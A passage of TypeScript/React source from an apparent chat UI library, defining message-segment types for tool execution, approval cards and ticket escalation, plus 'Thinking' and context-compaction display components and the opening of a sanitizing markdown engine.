typeof SCROLL_ANCHOR]\n\n// ========== Tool Execution Types ==========\n\nexport interface ToolExecutionData {\n  type: 'EXECUTING_TOOL' | 'EXECUTED_TOOL'\n  integratedToolType: string\n  toolFunction: string\n  /** Backend-issued human-readable title (mirrors `PendingToolCallData.toolTitle`). */\n  toolTitle?: string\n  /**\n   * Backend-issued human-readable explanation of what the tool is doing and why\n   * (mirrors `PendingToolCallData.toolExplanation`). Only sent on `EXECUTING_TOOL`;\n   * the accumulator restores it onto the merged `EXECUTED_TOOL` segment.\n   */\n  toolExplanation?: string\n  parameters?: Record<string, any>\n  result?: string\n  success?: boolean\n  /**\n   * Backend-issued id (matches `PendingToolCallData.toolExecutionRequestId`).\n   * When present, lets the accumulator merge this execution event into the\n   * matching approval batch row instead of emitting a standalone segment.\n   */\n  toolExecutionRequestId?: string\n}\n\n/**\n * Snapshot of an in-flight tool kept between the `EXECUTING_TOOL` and\n * `EXECUTED_TOOL` events. The backend only sends `toolTitle` on\n * `EXECUTING_TOOL`; carrying this state lets the accumulator restore it onto\n * the merged `EXECUTED_TOOL` segment instead of falling back to the raw\n * `toolFunction`.\n */\nexport interface ExecutingToolState {\n  integratedToolType: string\n  toolFunction: string\n  /** Mirrors {@link ToolExecutionData.toolTitle}; absent on `EXECUTED_TOOL`. */\n  toolTitle?: string\n  /** Mirrors {@link ToolExecutionData.toolExplanation}; absent on `EXECUTED_TOOL`. */\n  toolExplanation?: string\n  parameters?: Record<string, any>\n}\n\n// ========== Approval Request Types ==========\n\nexport interface ApprovalRequestField {\n  /** Short label — e.g. \"Subject\", \"Priority\". Rendered in a muted\n   *  caps style above the value. */\n  label: string\n  /** Free-text value. Wraps and line-breaks are preserved\n   *  (`whitespace-pre-wrap`). */\n  value: string\n}\n\nexport interface ApprovalRequestData {\n  command: string\n  /** Structured field list — preferred over `explanation`. When set,\n   *  the approval card renders a vertical label/value stack with\n   *  proper spacing. Falls back to `explanation` (a single paragraph)\n   *  when omitted. Keep BOTH when you want hosts on older lib\n   *  versions to still see the prose; new hosts should send only\n   *  `fields`. */\n  fields?: ApprovalRequestField[]\n  explanation?: string\n  icon?: React.ReactNode\n  requestId?: string\n  approvalRequestId?: string\n  approvalType?: string\n  /** `'guide'` when the card came from a Product Guide frame (see `GuideOrigin`\n   *  in `chat-protocol/events`). Carried onto the segment because hosts route\n   *  and filter approvals by where they came from: mingo lifts its OWN pending\n   *  cards into a sticky footer, and a guide card must stay inline in the turn\n   *  the way it does in the hub's chat. */\n  origin?: 'guide'\n}\n\nexport interface ApprovalResultData {\n  approvalRequestId: string\n  approved: boolean\n  approvalType?: string\n  /** Display name of the user who resolved the request; null/absent for system actions. */\n  resolvedByName?: string | null\n}\n\n// ========== Escalation Offer Types ==========\n\nexport interface EscalationOfferData {\n  offerId: string\n  /** Backend-fixed card copy; the client never composes it. */\n  text: string\n  /** Why the offer was raised (`TOOL`, `MANUAL`, a trigger reason). Carried\n   *  for telemetry — every origin renders the same card. */\n  origin?: string\n}\n\n// ========== Ticket Escalated Types ==========\n\n/** Open union: the wire currently defines only `INACTIVITY`, and the block\n *  renders from `text` rather than branching on this, so a reason added\n *  server-side needs no client change. */\nexport type TicketEscalationReason = 'INACTIVITY' | (string & {})\n\n/** The handoff receipt — a real block on the wire, not something the client\n *  infers from an escalation offer's state. */\nexport interface TicketEscalatedData {\n  ticketId: string\n  ticketNumber?: number\n  reason: TicketEscalationReason\n  /** Backend-authored explanation; the card falls back to generic copy when\n   *  the wire omits it (the field is nullable). */\n  text?: string\n}\n\n// ========== Ticket Event Types ==========\n\n/** Known `TicketEventData.kind` values. The vocabulary is OPEN on the wire:\n *  an unknown kind still renders (as a neutral info line) rather than being\n *  dropped, so the backend can add lifecycle kinds without a client release. */\nexport const TICKET_EVENT_KIND = {\n  RESOLVED: 'RESOLVED',\n  REOPENED: 'REOPENED',\n} as const\n\nexport type TicketEventKind =\n  | typeof TICKET_EVENT_KIND[keyof typeof TICKET_EVENT_KIND]\n  | (string & {})\n\n/** Ticket lifecycle receipt (`TICKET_EVENT`) — the ticket was resolved,\n *  reopened, etc. Same field names live (NATS chunk) and persisted\n *  (GraphQL `TicketEventData` inside `messageData`), so ONE mapper covers\n *  both paths. All actor fields are optional: the event stays renderable\n *  when the backend can't attribute it. */\nexport interface TicketEventData {\n  kind: TicketEventKind\n  actorId?: string\n  actorName?: string\n  /** Who acted — e.g. an AI agent vs a human. Open string like `kind`. */\n  actorType?: string\n  reason?: string\n  /** Kind-token of the status the ticket reopened INTO (AI_ASSISTANCE /\n   *  TECH_REQUIRED / CUSTOM / ...) — same open vocabulary the lifecycle\n   *  statuses use. Picks the REOPENED card's subtitle deterministically;\n   *  absent on RESOLVED events and older backends. */\n  targetStatusKind?: string\n}\n\n/**\n * Single tool call inside a batch approval request.\n * Mirrors backend PendingToolCallDto.\n */\nexport interface PendingToolCallData {\n  toolExecutionRequestId: string\n  toolName: string\n  toolTitle?: string\n  toolExplanation?: string\n  toolType?: string\n  requiresApproval: boolean\n  approvalType?: string | null\n  toolCallArguments?: Record<string, any> | null\n}\n\n/**\n * Per-tool execution state inside an approval batch.\n * Populated by EXECUTING_TOOL / EXECUTED_TOOL chunks that carry a\n * `toolExecutionRequestId` matching one of the batch's tool calls.\n */\nexport interface ApprovalBatchExecutionState {\n  status: 'executing' | 'done'\n  result?: string\n  success?: boolean\n}\n\nexport interface ApprovalBatchData {\n  approvalRequestId: string\n  /** Highest approval type required across the batch (e.g. ADMIN beats CLIENT). */\n  approvalType: string\n  toolCalls: PendingToolCallData[]\n  /**\n   * Keyed by `PendingToolCallData.toolExecutionRequestId`. Absent before\n   * approval; rows without an entry render as \"queued\" (loader) once the\n   * batch itself is approved.\n   */\n  executions?: Record<string, ApprovalBatchExecutionState>\n  /** `'guide'` when the batch came from a Product Guide `approval_batch` frame.\n   *  Same contract and the same reasons as `ApprovalRequestData.origin` — the\n   *  hub groups multiple proposals into one card, and that card resolves\n   *  through the hub exactly like a single one. */\n  origin?: 'guide'\n}\n\n/** Approve/reject handler stamped onto approval segments. MAY resolve a\n *  boolean success flag — `false` means the confirm FAILED (expired\n *  proposal, network error); batch approve-all loops use it to tick the\n *  row's failure cross. `void` (legacy transports) is treated as\n *  success. Single source of truth for this signature — component\n *  props, accumulator callbacks, and adapters all reference it. */\nexport type ApprovalResolutionHandler = (\n  requestId?: string,\n) => void | boolean | Promise<void | boolean>\n\n// ========== Message Segment Types ==========\n\nexport type TextSegment = {\n  type: 'text'\n  text: string\n}\n\nexport type ThinkingSegment = {\n  type: 'thinking'\n  text: string\n}\n\n/** Guide answer body — the assistant's how-to/documentation reply, rendered as\n *  a titled \"OpenFrame Guide\" card instead of a bare paragraph. `text` is\n *  markdown, streamed in fragments like a `text` segment and coalesced by the\n *  accumulator. */\nexport type GuideSegment = {\n  type: 'guide'\n  text: string\n}\n\n/** One reading the assistant offers in an `ask` card. `label` is BOTH the row's\n *  headline and the exact text sent back when the row is picked — the backend's\n *  guide classifier resolves the user's next message against the labels it\n *  offered, so the reply must be the label verbatim. `description` is a short\n *  clarifying line rendered under it. */\nexport type AskOptionData = {\n  label: string\n  description?: string\n}\n\n/** Clarification card — the assistant asking WHICH reading of an ambiguous\n *  question it should answer, rendered as a heading plus a list of clickable\n *  options instead of prose bullets. NATS-only (the `ASK` chunk); the intro\n *  sentence riding the same chunk becomes an ordinary `text` segment in front\n *  of the card, so it goes through the normal markdown body pipeline. Unlike\n *  the three delta streams an ask arrives whole — it is never coalesced. */\nexport type AskSegment = {\n  type: 'ask'\n  question: string\n  options: AskOptionData[]\n}\n\nexport type ToolExecutionSegment = {\n  type: 'tool_execution'\n  data: ToolExecutionData\n}\n\nexport type ApprovalRequestSegment = {\n  type: 'approval_request'\n  data: ApprovalRequestData & { approvalType?: string }\n  status?: ChatApprovalStatus\n  /** Display name of the user who resolved the request; baked into the client\n   *  variant's full-text status pill (\"Approved by {name}\"). */\n  resolvedByName?: string | null\n  onApprove?: ApprovalResolutionHandler\n  onReject?: ApprovalResolutionHandler\n}\n\nexport type ApprovalBatchSegment = {\n  type: 'approval_batch'\n  data: ApprovalBatchData\n  status?: ChatApprovalStatus\n  /** Display name of the user who resolved the request; set when the batch is resolved (null/absent for system actions). */\n  resolvedByName?: string | null\n  onApprove?: ApprovalResolutionHandler\n  onReject?: ApprovalResolutionHandler\n}\n\n/**\n * Ticket-escalation offer block. Visually the client approval card (same\n * Figma component), but a SEPARATE segment type on purpose: it resolves\n * through the ticket-escalation GraphQL mutations rather than the tool\n * approval endpoint, and hosts that hide pending tool approvals from the\n * thread must still render this one inline.\n *\n * `cancelled` is the wire's SUPERSEDED — the client typed over the offer.\n */\nexport type EscalationOfferSegment = {\n  type: 'escalation_offer'\n  data: EscalationOfferData\n  status?: ChatApprovalStatus\n  resolvedByName?: string | null\n  onApprove?: ApprovalResolutionHandler\n  onReject?: ApprovalResolutionHandler\n}\n\n/**\n * The conversation was handed off to a human technician. Decoded from the\n * `TICKET_ESCALATED` block, so it appears for every escalation path the\n * backend emits it for — including the inactivity auto-escalation, which\n * raises no offer and therefore has no offer state to infer from.\n */\nexport type TicketEscalatedSegment = {\n  type: 'ticket_escalated'\n  data: TicketEscalatedData\n}\n\n/**\n * Ticket lifecycle receipt (resolved / reopened / an unknown future kind).\n * Arrives as a standalone `TICKET_EVENT` chunk outside MESSAGE_START/END —\n * same delivery shape as `ticket_escalated`.\n *\n * `streamSeq` is the chunk's JetStream sequence, kept ON the segment because\n * it is the event's only stable identity: the accumulator upserts on it so a\n * redelivered chunk (catch-up over hydrated history) replaces rather than\n * stacks a second card, while two genuinely distinct events of the same kind\n * (resolve → reopen → resolve) keep distinct sequences and both render.\n */\nexport type TicketEventSegment = {\n  type: 'ticket_event'\n  data: TicketEventData\n  streamSeq?: number\n  /** When THIS event happened (history: the persisted row's `createdAt`;\n   *  live: chunk arrival). Kept beside `streamSeq`, not in `data`: the\n   *  upsert's payload-equality fallback must keep matching a redelivered\n   *  chunk to its hydrated twin, and their times come from different clocks.\n   *  Without it the card inherits the surrounding assistant bubble's\n   *  timestamp — the FIRST row of the whole turn, so every lifecycle card\n   *  reads the same stale time. */\n  occurredAt?: Date\n}\n\nexport type ErrorSegment = {\n  type: 'error'\n  title: string\n  details?: string\n}\n\nexport type ContextCompactionSegment = {\n  type: 'context_compaction'\n  status: 'started' | 'completed'\n  summary?: string\n}\n\nexport type MessageSegment = TextSegment | ThinkingSegment | GuideSegment | AskSegment | ToolExecutionSegment | ApprovalRequestSegment | ApprovalBatchSegment | EscalationOfferSegment | TicketEscalatedSegment | TicketEventSegment | ErrorSegment | ContextCompactionSegment\n\nexport type MessageContent = string | MessageSegment[]\n\n// ========== Message Data Types (from GraphQL/API) ==========\n\nexport interface MessageDataBase {\n  type: MessageType\n}\n\nexport interface TextMessageData extends MessageDataBase {\n  type: 'TEXT'\n  text?: string\n}\n\nexport interface ThinkingMessageData extends MessageDataBase {\n  type: 'THINKING'\n  text?: string\n}\n\nexport interface GuideMessageData extends MessageDataBase {\n  type: 'GUIDE'\n  text?: string\n  /** Persisted Product Guide frame (GraphQL `GuideData.payload`, a JSON scalar)\n   *  for rows that carry a card instead of answer text — replayed through the\n   *  live path's `guideFrameEvent`. */\n  payload?: Record<string, unknown>\n}\n\n/** Persisted `ASK` row (GraphQL `AskData`). `text` is the intro sentence, which\n *  history replays as a text segment ahead of the card — same split the live\n *  `ASK` chunk carries. */\nexport interface AskMessageData extends MessageDataBase {\n  type: 'ASK'\n  text?: string\n  question?: string\n  options?: AskOptionData[]\n}\n\nexport interface ExecutingToolMessageData extends MessageDataBase {\n  type: 'EXECUTING_TOOL'\n  integratedToolType?: string\n  toolFunction?: string\n  /** Backend-issued human-readable title (wire field, mirrors `ChunkData.title`). */\n  title?: string\n  /** Backend-issued human-readable explanation (what/why) of the tool call. */\n  toolExplanation?: string\n  parameters?: Record<string, any>\n  toolExecutionRequestId?: string\n}\n\nexport interface ExecutedToolMessageData extends MessageDataBase {\n  type: 'EXECUTED_TOOL'\n  integratedToolType?: string\n  toolFunction?: string\n  /** Backend-issued human-readable title (wire field, mirrors `ChunkData.title`). */\n  title?: string\n  parameters?: Record<string, any>\n  result?: string\n  success?: boolean\n  toolExecutionRequestId?: string\n}\n\nexport interface ApprovalRequestMessageData extends MessageDataBase {\n  type: 'APPROVAL_REQUEST'\n  approvalRequestId?: string\n  approvalType?: string\n  command?: string\n  explanation?: string\n  /** Present when the approval is a batch of tool calls (new format). */\n  toolCalls?: PendingToolCallData[]\n}\n\nexport interface ApprovalResultMessageData extends MessageDataBase {\n  type: 'APPROVAL_RESULT'\n  approvalRequestId?: string\n  approved?: boolean\n  approvalType?: string\n  /** Display name of the user who resolved the request; null/absent for system actions. */\n  resolvedByName?: string | null\n}\n\n/**\n * Persisted escalation-offer row. The PENDING row carries `text`/`origin`;\n * the resolution is a SECOND row with the same `offerId`, state\n * APPROVED/DECLINED/SUPERSEDED and no text — matched on replay by id.\n */\nexport interface EscalationOfferMessageData extends MessageDataBase {\n  type: 'ESCALATION_OFFER'\n  offerId?: string\n  state?: string\n  text?: string\n  origin?: string\n  resolvedByUserId?: string | null\n  resolvedByName?: string | null\n}\n\nexport interface TicketEscalatedMessageData extends MessageDataBase {\n  type: 'TICKET_ESCALATED'\n  ticketId?: string\n  ticketNumber?: number\n  reason?: TicketEscalationReason\n  text?: string\n}\n\n/** Persisted ticket lifecycle row — same field names as the live chunk\n *  (see `TicketEventData`), decoded by the SAME mapper on replay. Fields are\n *  wire-shaped (`| null`): every one is a nullable GraphQL scalar. */\nexport interface TicketEventMessageData extends MessageDataBase {\n  type: 'TICKET_EVENT'\n  kind?: string | null\n  actorId?: string | null\n  actorName?: string | null\n  actorType?: string | null\n  reason?: string | null\n  targetStatusKind?: string | null\n}\n\nexport interface ErrorMessageData extends MessageDataBase {\n  type: 'ERROR'\n  error?: string\n  details?: string\n}\n\nexport interface AIMetadataMessageData extends MessageDataBase {\n  type: 'AI_METADATA'\n  modelName?: string\n  providerName?: string\n  provider?: string\n  contextWindow?: number\n}\n\nexport interface TokenUsageData {\n  inputTokensSize: number\n  outputTokensSize: number\n  totalTokensSize: number\n  contextSize: number\n}\n\nexport interface SystemMessageData extends MessageDataBase {\n  type: 'SYSTEM'\n  text?: string\n}\n\nexport interface ContextCompactionStartMessageData extends MessageDataBase {\n  type: 'CONTEXT_COMPACTION_START'\n}\n\nexport interface ContextCompactionEndMessageData extends MessageDataBase {\n  type: 'CONTEXT_COMPACTION_END'\n  summary?: string\n}\n\nexport type MessageData =\n  | TextMessageData\n  | ThinkingMessageData\n  | GuideMessageData\n  | AskMessageData\n  | ExecutingToolMessageData\n  | ExecutedToolMessageData\n  | ApprovalRequestMessageData\n  | ApprovalResultMessageData\n  | EscalationOfferMessageData\n  | TicketEscalatedMessageData\n  | TicketEventMessageData\n  | ErrorMessageData\n  | AIMetadataMessageData\n  | SystemMessageData\n  | ContextCompactionStartMessageData\n  | ContextCompactionEndMessageData\n\n// ========== Historical Message Types ==========\n\nexport interface HistoricalMessage {\n  id: string\n  dialogId?: string\n  chatType?: string\n  createdAt: string\n  owner?: MessageOwner\n  messageData?: MessageData | MessageData[]\n  /** Persisted stream sequence of this row's last chunk (the backend's\n   *  `lastChunkStreamSeq`). Passed through to the processed message's\n   *  `streamSeq` so `mergeHistoryWithRealtime` can decide coverage per-role\n   *  (a synthetic is covered only by a persisted row of its OWN role reaching\n   *  its seq). Optional — absent for rows the backend doesn't stamp (e.g. user\n   *  MESSAGE_REQUEST rows), which then don't participate in seq coverage. */\n  lastChunkStreamSeq?: number | null\n}\n\n// ========== Processed Message Types ==========\n\nexport interface ProcessedMessage {\n  id: string\n  role: 'user' | 'assistant' | 'error'  // Limited to display roles\n  content: MessageContent\n  name?: string\n  assistantType?: AssistantType\n  authorType?: AuthorType\n  timestamp: Date\n  avatar?: string\n  /** Persisted last-chunk stream sequence carried through from\n   *  `HistoricalMessage.lastChunkStreamSeq` (for assistant turns: the MAX\n   *  across the grouped rows). Hosts stamp it onto the rendered message's\n   *  `streamSeq` so the history/realtime merge can do per-role seq coverage.\n   *  Absent when the source row(s) carried no seq. */\n  streamSeq?: number\n}\n\n// ========== Base Message Interface ==========\n\nimport type { ChatContextItem } from './context-item.types'\n\nexport interface Message {\n  id: string\n  role: 'user' | 'assistant' | 'error'  // Limited to display roles\n  content: MessageContent\n  name?: string\n  assistantType?: AssistantType\n  authorType?: AuthorType\n  timestamp?: Date\n  avatar?: string | null\n  /** Highest CONTENT chunk streamSeq that composed this message. Stamped on\n   *  realtime synthetics so `mergeHistoryWithRealtime` can decide history\n   *  coverage per-message (see `MergeableChatMessage.streamSeq`). */\n  streamSeq?: number\n  /** Entity-context items attached to this (user) message via the composer's\n   *  context picker. When present the message bubble renders the context\n   *  chips beneath its text (Figma node 31:28709). Optional — omitted for\n   *  assistant messages and turns sent without context. */\n  contextItems?: ChatContextItem[]\n  /** Per-message viewport-positioning hint. OPTIONAL — when omitted (the\n   *  default for every LLM Q&A / browse / search / find / Discuss path)\n   *  the chat tails as today via `use-stick-to-bottom`. Only `'top'` opts\n   *  in to the alternative top-anchor behaviour (display-action answers\n   *  whose body is a long article). The server is the sole decision-\n   *  maker — set on the metadata leading frame. */\n  scrollAnchor?: ScrollAnchor\n  /** When true the message is part of the API conversation history (sent\n   *  to the LLM so it has context) but is NOT rendered in the chat UI.\n   *\n   *  Used for \"synthetic continuation\" turns: when the user clicks Approve\n   *  on a tool proposal, the host auto-fires a follow-up `sendMessage`\n   *  with `hidden: true` carrying a directive like \"the user just\n   *  approved <tool>; ask follow-up questions per protocol\". The LLM's\n   *  response IS rendered (as a normal assistant message); only the\n   *  trigger prompt is suppressed so the chat reads naturally:\n   *\n   *    user: \"open a ticket\"\n   *    assistant: preamble + approval card\n   *    [user clicks Approve]\n   *    assistant: \"Now to triage faster, can you share...\"   ← auto-fires\n   *\n   *  Without this flag the trigger prompt would surface as a confusing\n   *  bubble like \"(continue per protocol)\" between the approval card\n   *  and the AI's follow-up. */\n  hidden?: boolean\n}","\"use client\"\n\nimport { forwardRef } from \"react\"\n\nimport { cn } from \"../../utils/cn\"\nimport { CheckCircleIcon, DotsLoaderIcon } from \"../icons-v2-generated\"\nimport type { ContextCompactionDisplayProps } from \"./types\"\n\n\nconst ContextCompactionDisplay = forwardRef<HTMLDivElement, ContextCompactionDisplayProps>(\n  ({ className, status, ...props }, ref) => {\n    const isStarted = status === 'started'\n    const label = isStarted\n      ? \"Context limit reached. Summarizing earlier messages.\"\n      : \"Earlier context summarized.\"\n\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          \"bg-ods-card border border-ods-border p-1.5 rounded-[6px] flex items-center gap-2\",\n          className\n        )}\n        {...props}\n      >\n        <span className=\"text-h6 text-ods-text-secondary flex-1 min-w-0\">\n          {label}\n        </span>\n        {isStarted ? (\n          <DotsLoaderIcon size={16} className=\"text-ods-text-secondary\" />\n        ) : (\n          <CheckCircleIcon className=\"w-4 h-4 text-ods-success shrink-0\" />\n        )}\n      </div>\n    )\n  }\n)\n\nContextCompactionDisplay.displayName = \"ContextCompactionDisplay\"\n\nexport { ContextCompactionDisplay }\n","\"use client\"\n\nimport { forwardRef, useState } from \"react\"\n\nimport { cn } from \"../../utils/cn\"\nimport { DotsLoaderIcon } from \"../icons-v2-generated\"\nimport { SimpleMarkdownRenderer } from \"../ui/markdown/simple-markdown-renderer\"\nimport { ExpandChevron } from \"./expand-chevron\"\nimport { useCollapsible } from \"./hooks/use-collapsible\"\nimport type { ThinkingDisplayProps } from \"./types\"\n\n// Tame SimpleMarkdownRenderer for the muted \"thought\" aesthetic:\n//  - all text in secondary tone with small size\n//  - bold pops back to primary so emphasis still reads\n//  - tighter paragraph/list/heading spacing (renderer ships with mt-8 mb-4)\n//  - flatter horizontal rules\n//  - inline-code visually quieter inside thoughts\n//  - fenced code blocks (`.code-block-container`) lose the renderer's `my-6`\n//    and inner `p-4` so they sit flush with surrounding paragraphs\nconst thoughtMdClasses = [\n  // Body & lists — muted grey, never white.\n  \"[&_p]:!text-sm [&_p]:!text-ods-text-secondary [&_p]:!leading-snug [&_p]:!my-2 [&_p:first-child]:!mt-0 [&_p:last-child]:!mb-0\",\n  \"[&_li]:!text-sm [&_li]:!text-ods-text-secondary [&_li]:!leading-snug\",\n  \"[&_ul]:!my-2 [&_ol]:!my-2 [&_ul]:!pl-5 [&_ol]:!pl-5\",\n  // Inline emphasis stays grey too. Bold pops via weight (no color shift),\n  // italic via slant — neither is allowed to brighten into white.\n  \"[&_strong]:!text-ods-text-secondary [&_strong]:!font-semibold\",\n  \"[&_em]:!text-ods-text-secondary\",\n  // Headings — SimpleMarkdownRenderer paints them `text-ods-text-primary`\n  // by default. Override every level back to secondary grey so headings\n  // don't suddenly turn white inside a thought block.\n  \"[&_h1]:!text-sm [&_h1]:!text-ods-text-secondary [&_h1]:!font-semibold [&_h1]:!mt-3 [&_h1]:!mb-1 [&_h1]:!pb-0 [&_h1]:!border-0\",\n  \"[&_h2]:!text-sm [&_h2]:!text-ods-text-secondary [&_h2]:!font-semibold [&_h2]:!mt-3 [&_h2]:!mb-1 [&_h2]:!pb-0 [&_h2]:!border-0\",\n  \"[&_h3]:!text-sm [&_h3]:!text-ods-text-secondary [&_h3]:!font-semibold [&_h3]:!mt-3 [&_h3]:!mb-1\",\n  \"[&_h4]:!text-sm [&_h4]:!text-ods-text-secondary [&_h4]:!font-semibold [&_h4]:!mt-2 [&_h4]:!mb-1\",\n  \"[&_h5]:!text-sm [&_h5]:!text-ods-text-secondary [&_h5]:!font-semibold [&_h5]:!mt-2 [&_h5]:!mb-1\",\n  \"[&_h6]:!text-sm [&_h6]:!text-ods-text-secondary [&_h6]:!font-semibold [&_h6]:!mt-2 [&_h6]:!mb-1\",\n  // Rules\n  \"[&_hr]:!my-3 [&_hr]:!border-ods-border [&_hr]:!opacity-40\",\n  // Inline code — Cursor-style chip: no border, background a notch\n  // LIGHTER than the surrounding thought card (`bg-ods-border` is the\n  // brightest neutral grey in the palette and sits above `bg-ods-card`),\n  // small rounded corners, tight padding. Reads as a clearly raised token\n  // without the loud bordered chip of the default renderer.\n  \"[&_code]:!text-[12px] [&_code]:!text-ods-text-secondary\",\n  \"[&_code]:!border-0 [&_code]:!bg-ods-border [&_code]:!rounded\",\n  \"[&_code]:!px-1.5 [&_code]:!py-0.5\",\n  \"[&_.code-block-container]:!my-2\",\n  \"[&_.code-block-container_.code-header]:!py-1 [&_.code-block-container_.code-header]:!px-3\",\n  \"[&_.code-block-container_>div:last-child]:!p-3\",\n].join(\" \")\n\nconst ThinkingDisplay = forwardRef<HTMLDivElement, ThinkingDisplayProps>(\n  ({ className, text, isStreaming = false, ...props }, ref) => {\n    const [expanded, setExpanded] = useState(false)\n    // 26px ≈ one line of `text-sm leading-snug` (~19px) + space for the\n    // bordered/padded `<code>` badges that markdown renders inline. With\n    // exact 1lh the bottom of those badges gets clipped.\n    const { innerRef, isOverflowing, containerStyle } = useCollapsible({\n      expanded,\n      collapsedHeight: 19,\n      disableTransition: isStreaming,\n    })\n    const label = isStreaming ? \"Thinking\" : \"Thought\"\n    const canToggle = isOverflowing || expanded\n\n    const toggle = () => canToggle && setExpanded(!expanded)\n    const handleKeyDown = (e: React.KeyboardEvent) => {\n      if (!canToggle) return\n      if (e.key === \"Enter\" || e.key === \" \") {\n        e.preventDefault()\n        setExpanded(!expanded)\n      }\n    }\n\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          \"bg-ods-card border border-ods-border p-1.5 rounded-[6px]\",\n          className\n        )}\n        {...props}\n      >\n        <div\n          role=\"button\"\n          tabIndex={canToggle ? 0 : -1}\n          aria-expanded={expanded}\n          onClick={toggle}\n          onKeyDown={handleKeyDown}\n          className={cn(\n            \"w-full flex items-start gap-3 text-left\",\n            canToggle ? \"cursor-pointer\" : \"cursor-default\"\n          )}\n        >\n          <div className=\"flex items-center gap-1 shrink-0 h-[19px]\">\n            <span className=\"text-sm font-medium leading-snug text-ods-text-secondary\">\n              {label}:\n            </span>\n            {isStreaming && <DotsLoaderIcon size={16} className=\"text-ods-text-secondary\" />}\n          </div>\n\n          <div className=\"flex-1 min-w-0\" style={containerStyle}>\n            <div\n              ref={innerRef}\n              className={cn(\"text-sm leading-snug text-ods-text-secondary\", thoughtMdClasses)}\n            >\n              <SimpleMarkdownRenderer content={text} textSize=\"compact\" />\n            </div>\n          </div>\n\n          {canToggle && (\n            <div className=\"h-[19px] flex items-center shrink-0\">\n              <ExpandChevron expanded={expanded} />\n            </div>\n          )}\n        </div>\n      </div>\n    )\n  }\n)\n\nThinkingDisplay.displayName = \"ThinkingDisplay\"\n\nexport { ThinkingDisplay }\n","\"use client\";\n\n/**\n * MarkdownEngine — THE one react-markdown pipeline for every surface\n * (chat messages, blog, docs, KB articles, legal, releases, admin previews).\n *\n * `SimpleMarkdownRenderer` and `RichMarkdownRenderer` are thin compositions\n * over this engine (see ./simple-markdown-renderer.tsx and ./rich/) — there\n * is exactly ONE parse path, ONE sanitizer stack, ONE mermaid, ONE\n * heading-id algorithm, ONE link-click model. Do not fork this pipeline;\n * extend via `componentOverrides` / `additionalRemarkPlugins` /\n * `preprocessContent` / `extraAllowedHtmlTags`.\n *\n * Pipeline order (each stage documented in ./sanitize.ts):\n *   preprocessContent (composition hook, e.g. shortcodes)\n *   → completeStreamingTail (streaming only — MUST precede the escape pass)\n *   → escapeUnknownHtmlTags (text pre-pass, React 19 crash guard)\n *   → remark: remarkGfm, remarkBreaks, ...additionalRemarkPlugins\n *   → rehype: rehypeRaw → rehypeSanitize(schema) → rehypeStripUnsafe\n *       → rehypeHighlight\n *   → urlTransform: cardAwareUrlTransform\n *   → components: buildBaseComponents(...) spread-last componentOverrides\n */\nimport React, { memo, useMemo } from 'react';\nimport ReactMarkdown, { type Components } from 'react-markdown';\nimport type { PluggableList } from 'unified';\nimport remarkGfm from 'remark-gfm';\nimport remarkBreaks from 'remark-breaks';\nimport rehypeHighlight from 'rehype-highlight';\nimport rehypeRaw from 'rehype-raw';\nimport rehypeSanitize from 'rehype-sanitize';\nimport type { ResolveLinkResult } from '../../../types/doc-source';\nimport {\n  buildEffectiveTagSet,\n  buildSanitizeSchema,\n  cardAwareUrlTransform,\n  escapeUnknownHtmlTags,\n  rehypeStripUnsafe,\n} from './sanitize';\nimport { resolveTextSizeConfig, type TextSizeConfig } from './text-size';\nimport {\n  HeadingIdMapContext,\n  HeadingLineOffsetContext,\n  useHeadingIdMap,\n  type HeadingSection,\n} from './heading-ids';\nimport { buildBaseComponents } from './base-components';\nimport { completeStreamingTail, splitStreamingBlocks } from './streaming';\n\nexport type { ResolveLinkResult };\n\n/**\n * Module-scope empty default for `brokenLinks`.\n *\n * A `brokenLinks = []` DEFAULT PARAMETER allocates a fresh array on every\n * render, so the `components` useMemo (which lists it as a dep) recomputed\n * every render, which changed `StreamingBlockRenderer`'s `components` prop\n * identity, which made its `memo` bail EVERY time — every completed block\n * re-parsed on every streamed token, defeating the entire atomic-block\n * optimization. Any new default that is an object/array/function MUST be\n * hoisted here for the same reason.\n *\n * Exported so the compositions that apply the SAME default before handing\n * props down (rich) share this ONE identity instead of declaring a second\n * module-scope empty array with a copy of this rationale. Deliberately NOT\n * re-exported from ./index — it is an internal identity contract between the\n * engine and its compositions, not public API.\n */\nexport const NO_BROKEN_LINKS: readonly string[] = [];\n\nexport interface MarkdownEngineProps {\n  content: string;\n  className?: string;\n  /** Backend-provided heading IDs for deep-link anchors */\n  sectionIds?: HeadingSection[];\n  /** When the page already has an H1, render markdown `#` as `<h2>` */\n  demoteMarkdownH1ToH2?: boolean;\n  /** List of broken link hrefs detected server-side (shown with [BROKEN] badge) */\n  brokenLinks?: readonly string[];\n  /** Callback for internal (non-http, non-anchor) link clicks */\n  onInternalLinkClick?: (path: string, options?: { expandFolder?: boolean; fromInternalLink?: boolean }) => void;\n  /** Current documentation path — enables internal-link mode when set */\n  currentPath?: string;\n  /** Resolve an internal link href to a navigation path. */\n  onResolveLink?: (href: string, currentPath: string) => Promise<ResolveLinkResult>;\n  /** Pre-process the raw markdown string before rendering (e.g. shortcode expansion) */\n  preprocessContent?: (content: string) => string;\n  /** Merge additional or override react-markdown component renderers (spread LAST — caller wins) */\n  componentOverrides?: Partial<Components>;\n  /** Extra remark plugins appended after the built-in remarkGfm + remarkBreaks */\n  additionalRemarkPlugins?: PluggableList;\n  /** Text sizing preset / per-element overrides */\n  textSize?: TextSizeConfig;\n  /**\n   * Extra raw-HTML tags this composition admits. Unioned into BOTH the\n   * text pre-pass allowlist AND the sanitize schema together (the\n   * coupled-allowlist invariant — see ./sanitize.ts).\n   */\n  extraAllowedHtmlTags?: string[];\n  /**\n   * Set true for the actively streaming message ONLY. Enables atomic-block\n   * memoization + fence tail-completion + an aria-live wrapper. The caller\n   * MUST flip back to false on completion — that final render is one\n   * authoritative whole-document parse (block cache discarded), so\n   * streaming can never permanently diverge from the settled output.\n   */\n  streaming?: boolean;\n}\n\n/**\n * One memoized completed block of a streaming message. Parent-level memos\n * keep every prop except `text` referentially stable, so a completed block\n * re-renders only if its own text changes (i.e. the splitter re-cut).\n * React key = position index — identical blocks at different positions\n * never alias (see ./streaming.ts).\n */\nconst StreamingBlockRenderer = memo(function StreamingBlockRenderer({\n  text,\n  remarkPlugins,\n  rehypePlugins,\n  components,\n}: {\n  text: string;\n  remarkPlugins: PluggableList;\n  rehypePlugins: PluggableList;\n  components: Components;\n}) {\n  return (\n    <ReactMarkdown\n      remarkPlugins={remarkPlugins}\n      rehypePlugins={rehypePlugins}\n      urlTransform={cardAwareUrlTransform}\n      